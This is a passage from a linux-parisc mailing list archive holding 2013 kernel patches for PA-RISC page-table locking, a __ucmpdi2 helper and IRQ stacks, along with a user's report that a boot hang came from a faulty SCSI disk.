      parisc: uaccess: fix compiler warnings caused by __put_user casting

 arch/parisc/Makefile                 |  6 +++--
 arch/parisc/include/asm/cacheflush.h |  5 +++-
 arch/parisc/include/asm/pgtable.h    | 47 +++++++++++++++++++-----------------
 arch/parisc/include/asm/uaccess.h    | 14 +++--------
 arch/parisc/kernel/cache.c           |  5 +---
 arch/parisc/kernel/parisc_ksyms.c    |  2 ++
 arch/parisc/lib/Makefile             |  3 ++-
 arch/parisc/lib/ucmpdi2.c            | 25 +++++++++++++++++++
 8 files changed, 67 insertions(+), 40 deletions(-)
 create mode 100644 arch/parisc/lib/ucmpdi2.c

--------------



diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 01d95e2..113e282 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -65,8 +65,10 @@ ifndef CONFIG_FUNCTION_TRACER
 endif
 
 # Use long jumps instead of long branches (needed if your linker fails to
-# link a too big vmlinux executable)
-cflags-$(CONFIG_MLONGCALLS)	+= -mlong-calls
+# link a too big vmlinux executable). Not enabled for building modules.
+ifdef CONFIG_MLONGCALLS
+KBUILD_CFLAGS_KERNEL += -mlong-calls
+endif
 
 # select which processor to optimise for
 cflags-$(CONFIG_PA7100)		+= -march=1.1 -mschedule=7100
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 79f694f..f0e2784 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -140,7 +140,10 @@ static inline void *kmap(struct page *page)
 	return page_address(page);
 }
 
-#define kunmap(page)			kunmap_parisc(page_address(page))
+static inline void kunmap(struct page *page)
+{
+	kunmap_parisc(page_address(page));
+}
 
 static inline void *kmap_atomic(struct page *page)
 {
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 7df49fa..1e40d7f 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -16,6 +16,8 @@
 #include <asm/processor.h>
 #include <asm/cache.h>
 
+extern spinlock_t pa_dbit_lock;
+
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -44,8 +46,11 @@ extern void purge_tlb_entries(struct mm_struct *, unsigned long);
 
 #define set_pte_at(mm, addr, ptep, pteval)                      \
 	do {                                                    \
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_dbit_lock, flags);	\
 		set_pte(ptep, pteval);                          \
 		purge_tlb_entries(mm, addr);                    \
+		spin_unlock_irqrestore(&pa_dbit_lock, flags);	\
 	} while (0)
 
 #endif /* !__ASSEMBLY__ */
@@ -435,48 +440,46 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t *);
 
 static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
+	pte_t pte;
+	unsigned long flags;
+
 	if (!pte_young(*ptep))
 		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
+
+	spin_lock_irqsave(&pa_dbit_lock, flags);
+	pte = *ptep;
+	if (!pte_young(pte)) {
+		spin_unlock_irqrestore(&pa_dbit_lock, flags);
 		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
+	}
+	set_pte(ptep, pte_mkold(pte));
+	purge_tlb_entries(vma->vm_mm, addr);
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 	return 1;
-#endif
 }
 
-extern spinlock_t pa_dbit_lock;
-
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 	pte_t old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_dbit_lock, flags);
 	old_pte = *ptep;
 	pte_clear(mm,addr,ptep);
-	spin_unlock(&pa_dbit_lock);
+	purge_tlb_entries(mm, addr);
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 
 	return old_pte;
 }
 
 static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	unsigned long flags;
+	spin_lock_irqsave(&pa_dbit_lock, flags);
+	set_pte(ptep, pte_wrprotect(*ptep));
 	purge_tlb_entries(mm, addr);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	spin_unlock_irqrestore(&pa_dbit_lock, flags);
 }
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4ba2c93..e0a8235 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -181,30 +181,24 @@ struct exception_data {
 #if !defined(CONFIG_64BIT)
 
 #define __put_kernel_asm64(__val,ptr) do {		    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%1)"			    \
-		"\n2:\tstw %3,4(%1)\n\t"		    \
+		"\n2:\tstw %R2,4(%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
 #define __put_user_asm64(__val,ptr) do {	    	    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%%sr3,%1)"		    \
-		"\n2:\tstw %3,4(%%sr3,%1)\n\t"		    \
+		"\n2:\tstw %R2,4(%%sr3,%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 4b12890..83ded26 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -421,14 +421,11 @@ void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	/* Note: purge_tlb_entries can be called at startup with
 	   no context.  */
 
-	/* Disable preemption while we play with %sr1.  */
-	preempt_disable();
-	mtsp(mm->context, 1);
 	purge_tlb_start(flags);
+	mtsp(mm->context, 1);
 	pdtlb(addr);
 	pitlb(addr);
 	purge_tlb_end(flags);
-	preempt_enable();
 }
 EXPORT_SYMBOL(purge_tlb_entries);
 
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 6795dc6..568b2c6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -120,11 +120,13 @@ extern void __ashrdi3(void);
 extern void __ashldi3(void);
 extern void __lshrdi3(void);
 extern void __muldi3(void);
+extern void __ucmpdi2(void);
 
 EXPORT_SYMBOL(__ashrdi3);
 EXPORT_SYMBOL(__ashldi3);
 EXPORT_SYMBOL(__lshrdi3);
 EXPORT_SYMBOL(__muldi3);
+EXPORT_SYMBOL(__ucmpdi2);
 
 asmlinkage void * __canonicalize_funcptr_for_compare(void *);
 EXPORT_SYMBOL(__canonicalize_funcptr_for_compare);
diff --git a/arch/parisc/lib/Makefile b/arch/parisc/lib/Makefile
index 5f2e690..5651536 100644
--- a/arch/parisc/lib/Makefile
+++ b/arch/parisc/lib/Makefile
@@ -2,6 +2,7 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o \
+	   ucmpdi2.o
 
 obj-y	:= iomap.o
diff --git a/arch/parisc/lib/ucmpdi2.c b/arch/parisc/lib/ucmpdi2.c
new file mode 100644
index 0000000..149c016
--- /dev/null
+++ b/arch/parisc/lib/ucmpdi2.c
@@ -0,0 +1,25 @@
+#include <linux/module.h>
+
+union ull_union {
+	unsigned long long ull;
+	struct {
+		unsigned int high;
+		unsigned int low;
+	} ui;
+};
+
+int __ucmpdi2(unsigned long long a, unsigned long long b)
+{
+	union ull_union au = {.ull = a};
+	union ull_union bu = {.ull = b};
+
+	if (au.ui.high < bu.ui.high)
+		return 0;
+	else if (au.ui.high > bu.ui.high)
+		return 2;
+	if (au.ui.low < bu.ui.low)
+		return 0;
+	else if (au.ui.low > bu.ui.low)
+		return 2;
+	return 1;
+}

From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status
Date: Fri, 26 Apr 2013 21:57:39 +0200 (MEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <201304261957.r3QJveJd020474@arbas.nms.ulrich-teichert.org>
References: <201304251921.r3PJLd1d014087@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367006738 17116 80.91.229.3 (26 Apr 2013 20:05:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Apr 2013 20:05:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 26 22:05:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVotq-0004k8-8H
	for glpp-linux-parisc@plane.gmane.org; Fri, 26 Apr 2013 22:05:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757657Ab3DZUFg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Apr 2013 16:05:36 -0400
Original-Received: from mail06do.versatel.de ([89.245.129.26]:43752 "EHLO
	mail06do.versatel.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757646Ab3DZUFd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Apr 2013 16:05:33 -0400
Original-Received: (qmail 3112 invoked from network); 26 Apr 2013 20:05:20 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	spamkill01do.versatel-west.de
X-Spam-Status: No, score=0.0
Original-Received: from i577a91c5.versanet.de (HELO arbas.nms.ulrich-teichert.org) (ulrich-teichert@foni.net@[87.122.145.197])
          (envelope-sender <ut@ulrich-teichert.org>)
          by mail06do.versatel.de (qmail-ldap-1.03) with ESMTPA
          for <linux-parisc@vger.kernel.org>; 26 Apr 2013 20:05:18 -0000
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6) with ESMTP id r3QJvfxT020476
	for <linux-parisc@vger.kernel.org>; Fri, 26 Apr 2013 21:57:42 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6/Submit) id r3QJveJd020474
	for linux-parisc@vger.kernel.org; Fri, 26 Apr 2013 21:57:40 +0200
In-Reply-To: <201304251921.r3PJLd1d014087@arbas.nms.ulrich-teichert.org>
X-Mailer: ELM [version 2.5 PL8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4961>

Hi,

me again - sorry for pestering the list again, but this:

[snip]
>[   15.020000] Fusion MPT base driver 3.04.20
>[   15.072000] Copyright (c) 1999-2008 LSI Corporation
>[   15.136000] Fusion MPT SPI Host driver 3.04.20
>[   15.220000] mptbase: ioc0: Initiating bringup
>[   15.760000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
>[   16.328000] scsi0 : ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=66
>[   43.872000] mptscsih: ioc0: attempting task abort! (sc=000000007f29e300)
>[   43.960000] scsi 0:0:6:0: CDB: 
>[   44.000000] cdb[0]=0x12: 12 00 00 00 24 00
>[   54.176000] mptscsih: ioc0: WARNING - Issuing Reset from mptscsih_IssueTaskMgmt!! doorbell=0x24000000
>[   55.584000] mptscsih: ioc0: task abort: SUCCESS (rv=2002) (sc=000000007f29e300)
>[   55.680000] scsi target0:0:6: asynchronous
>[   55.928000] mptscsih: ioc0: attempting target reset! (sc=000000007f29e300)
[etc]

Turned out to be a broken disk which blocked the SCSI-bus! Once I pulled it,
the remaining disk got recognized just fine from the experimental gentoo
install CD (from http://distfiles.gentoo.org/experimental/hppa/livecd).

Sorry for the fuss and thanks for helping me to see the obvious,
CU,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de | Listening to:
Stormweg 24               |Pale Bride (The Von Bondies), Slip Away (Sedatives)
24539 Neumuenster, Germany|Sacred Decay (The Estranged), She's Lost Control
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: increase kernel stack size to 32k
Date: Sat, 27 Apr 2013 00:30:14 +0200
Lines: 278
Approved: news@gmane.org
Message-ID: <20130426223014.GA19671@p100.box>
References: <20130423202203.GA7287@p100.box>
 <51778ADE.4010906@gmx.de>
 <1366836075.1971.22.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367015422 5196 80.91.229.3 (26 Apr 2013 22:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Apr 2013 22:30:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 27 00:30:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVr9r-0006W6-O3
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Apr 2013 00:30:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751918Ab3DZWaW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Apr 2013 18:30:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:61330 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751239Ab3DZWaV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Apr 2013 18:30:21 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0McCWP-1UF0Qf2gFD-00JaVY for
 <linux-parisc@vger.kernel.org>; Sat, 27 Apr 2013 00:30:18 +0200
Original-Received: (qmail invoked by alias); 26 Apr 2013 22:30:18 -0000
Original-Received: from p54AD16F5.dip0.t-ipconnect.de (EHLO p100.box) [84.173.22.245]
  by mail.gmx.net (mp032) with SMTP; 27 Apr 2013 00:30:18 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18I/JULobsIlI+X+5X/lxqAmuGGo0EbVCAqqSneQQ
	II/stKoOglGRKZ
Content-Disposition: inline
In-Reply-To: <1366836075.1971.22.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4962>

* James Bottomley <James.Bottomley@HansenPartnership.com>:
> On Wed, 2013-04-24 at 09:33 +0200, Helge Deller wrote:
> > On 04/23/2013 10:22 PM, Helge Deller wrote:
> > > commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
> > > Author: Helge Deller <deller@gmx.de>
> > > Date:   Tue Apr 23 17:19:37 2013 +0200
> > > 
> > > parisc: increase kernel stack size to 32k
> > > 
> > > --- a/arch/parisc/include/asm/thread_info.h
> > > +++ b/arch/parisc/include/asm/thread_info.h
> > > -#define THREAD_SIZE_ORDER            2
> > > +#define THREAD_SIZE_ORDER            3	/* 32k stack */
> > 
> > I tested again, and it actually needs to be 64k stacks to not crash any longer.
> > So, the right temporary fix is:
> > 
> > > +#define THREAD_SIZE_ORDER            4	/* 64k stack */
> > 
> > Will send updated patch soon.
> 
> This is an indicator of something seriously wrong somewhere.  We've
> always had the 16k stack just because of our large frames.  In theory,
> the IRQ stack should only be the same size as the kernel stack, so if we
> have both in the same place, we should only need at max 32k ... if we're
> still seeing problems related to stack overrun, then it might be we have
> an IRQ recursion where we shouldn't have.  To be honest, I have a hard
> time explaining why our stacks should be over 8k.


You are probably right.

Below is now a first implementation to support IRQ stacks for parisc.

I booted it successfully on 32- and 64bit kernels. 
Uncommenting the WARN_ON_ONCE(1) will show that the stacks get activated.
As a nice feature we now have CONFIG_DEBUG_STACKOVERFLOW as well, which
should help us to find the problematic functions (if there are any).

I have not tested it with my testcases yet, but if people want to play,
here it is...

Helge


 Kconfig.debug             |   11 ++++++
 include/asm/irq.h         |    2 +
 include/asm/processor.h   |   17 ++++++++--
 include/asm/thread_info.h |    2 -
 kernel/entry.S            |   22 ++++++++++++
 kernel/irq.c              |   78
+++++++++++++++++++++++++++++++++++++++++++++-
 6 files changed, 128 insertions(+), 4 deletions(-)



diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..ed88c37 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,6 +12,17 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
+config DEBUG_STACKOVERFLOW
+	bool "Check for stack overflows"
+	depends on DEBUG_KERNEL
+	---help---
+	  Say Y here if you want to check the overflows of kernel, IRQ
+	  and exception stacks. This option will cause messages of the
+	  stacks in detail when free stack space drops below a certain
+	  limit.
+	  If in doubt, say "N".
+
+
 config DEBUG_STRICT_USER_COPY_CHECKS
 	bool "Strict copy size checks"
 	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
index 1073599..0417ebf 100644
--- a/arch/parisc/include/asm/irq.h
+++ b/arch/parisc/include/asm/irq.h
@@ -10,6 +10,8 @@
 #include <linux/cpumask.h>
 #include <asm/types.h>
 
+#define __ARCH_HAS_DO_SOFTIRQ
+
 #define NO_IRQ		(-1)
 
 #ifdef CONFIG_GSC
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 09b54a5..1c126c6 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -20,8 +20,6 @@
 
 #endif /* __ASSEMBLY__ */
 
-#define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
-
 /*
  * Default implementation of macro that returns current
  * instruction pointer ("program counter").
@@ -60,6 +58,21 @@
 
 #ifndef __ASSEMBLY__
 
+#ifdef __KERNEL__
+
+/*
+ * IRQ STACK - used for irq and irq bh handler
+ */
+#define IRQ_STACK_SIZE (4096 * 4) // PAGE_SIZE
+
+union irq_stack_union {
+	unsigned long irq_stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+};
+
+DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
+DECLARE_PER_CPU(unsigned int, irq_count);
+#endif /* __KERNEL__ */
+
 /*
  * Data detected about CPUs at boot time which is the same for all CPU's.
  * HP boxes are SMP - ie identical processors.
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index d1fb79a..8642ea8 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -40,7 +40,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER            2
+#define THREAD_SIZE_ORDER            2 /* keep on 2 for 16k */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..117d516 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1997,6 +1997,28 @@ ftrace_stub:
 ENDPROC(return_to_handler)
 #endif	/* CONFIG_FUNCTION_TRACER */
 
+/* void call_on_stack(unsigned long param1, void *func, unsigned long new_stack) */
+ENTRY(call_on_stack)
+	STREG	%sp, 8(%arg2)
+	STREG	%rp, 16(%arg2)
+
+	/* HPPA calling convention for function pointers */
+#ifdef CONFIG_64BIT
+	LDREG	16(%arg1), %arg1
+	bve,l	(%arg1), %rp
+	addi    0x40, %arg2, %sp
+#else
+	addi    0x40, %arg2, %sp
+	be,l	0(%sr4,%arg1), %sr0, %r31
+	copy	%r31, %rp
+#endif
+
+	addi    -0x40, %sp, %sp
+	LDREG	16(%sp),%rp
+	bv	(%rp)
+	LDREG	8(%sp),%sp
+ENDPROC(call_on_stack)
+
 
 get_register:
 	/*
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 8094d3e..d864057 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -330,6 +330,60 @@ static inline int eirr_to_irq(unsigned long eirr)
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
+
+int sysctl_panic_on_stackoverflow __read_mostly;
+
+/*
+ * Stack overflow check:
+ */
+static inline void stack_overflow_check(unsigned long sp, unsigned long stack_start, unsigned long stack_size)
+{
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+#define STACK_MARGIN	256
+	if (sp >= stack_start && sp < (stack_start + stack_size - STACK_MARGIN))
+		return;
+
+	WARN_ONCE(1, "do_IRQ(): %s has overflown a kernel stack (sp:%lx, irq stk bottom-top:%lx-%lx)\n",
+		current->comm, sp,
+		stack_start, stack_start + stack_size);
+
+	if (sysctl_panic_on_stackoverflow)
+		panic("low stack detected by irq handler - check messages\n");
+#endif
+}
+
+extern void call_on_stack(unsigned long param1, void *func, unsigned long new_stack); /* in entry.S */
+
+#define current_stack_pointer() ({ unsigned long sp; asm volatile ("copy %%r30, %0" : "=r"(sp)); (sp); })
+
+static void noinline execute_on_irq_stack(void *func, unsigned long param1)
+{
+	int cpu = smp_processor_id();
+	unsigned long sp, irq_stack;
+	void (*direct_call)(unsigned long param1) = func;
+
+	irq_stack = (unsigned long) &per_cpu(irq_stack_union, cpu);
+	sp = current_stack_pointer();
+
+	/*
+	 * this is where we try to switch to the IRQ stack. However, if we are
+	 * already using the IRQ stack (because we interrupted a hardirq
+	 * handler) we can't do that and just have to keep using the
+	 * current stack (which is the irq stack already after all)
+	 */
+
+	if ((sp - irq_stack) >= sizeof(union irq_stack_union)) {
+		stack_overflow_check(sp, (unsigned long)task_stack_page(current), THREAD_SIZE);
+		call_on_stack(param1, func, irq_stack);
+		// WARN_ON_ONCE(1); /* enable to check if irq stack is being used. */
+		// TODO: check if backtrace works from irq stack
+	} else {
+		stack_overflow_check(sp,  irq_stack, IRQ_STACK_SIZE);
+		direct_call(param1);
+	}
+
+}
+
 /* ONLY called from entry.S:intr_extint() */
 void do_cpu_irq_mask(struct pt_regs *regs)
 {
@@ -364,7 +418,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		goto set_out;
 	}
 #endif
-	generic_handle_irq(irq);
+	execute_on_irq_stack(&generic_handle_irq, irq);
 
  out:
 	irq_exit();
@@ -423,3 +477,25 @@ void __init init_IRQ(void)
 
 }
 
+
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union);
+
+asmlinkage void do_softirq(void)
+{
+	__u32 pending;
+	unsigned long flags;
+
+	if (in_interrupt())
+		return;
+
+	local_irq_save(flags);
+
+	pending = local_softirq_pending();
+
+	/* Switch to interrupt stack */
+	if (pending) {
+		execute_on_irq_stack(&__do_softirq, 0);
+		WARN_ON_ONCE(softirq_count());
+	}
+	local_irq_restore(flags);
+}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zhao Hongjiang <zhaohongjiang@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove the second argument of kmap_atomic
Date: Sat, 27 Apr 2013 18:42:11 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <517BAB83.2060308@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367059365 4066 80.91.229.3 (27 Apr 2013 10:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Apr 2013 10:42:45 +0000 (UTC)
Cc: <dave.anglin@bell.net>, Andrew Morton <akpm@linux-foundation.org>,
	<linux-parisc@vger.kernel.org>
To: <jejb@parisc-linux.org>, <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 27 12:42:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UW2aa-0001np-2R
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Apr 2013 12:42:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754333Ab3D0Kml (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Apr 2013 06:42:41 -0400
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:52226 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753862Ab3D0Kmk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Apr 2013 06:42:40 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml211-edg.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
	with ESMTP id BAT77427;
	Sat, 27 Apr 2013 18:42:27 +0800 (CST)
Original-Received: from SZXEML462-HUB.china.huawei.com (10.82.67.205) by
 szxeml211-edg.china.huawei.com (172.24.2.182) with Microsoft SMTP Server
 (TLS) id 14.1.323.7; Sat, 27 Apr 2013 18:42:19 +0800
Original-Received: from [127.0.0.1] (10.135.72.200) by szxeml462-hub.china.huawei.com
 (10.82.67.205) with Microsoft SMTP Server id 14.1.323.7; Sat, 27 Apr 2013
 18:42:15 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
X-Originating-IP: [10.135.72.200]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4963>

kmap_atomic allows only one argument now, just move the second.

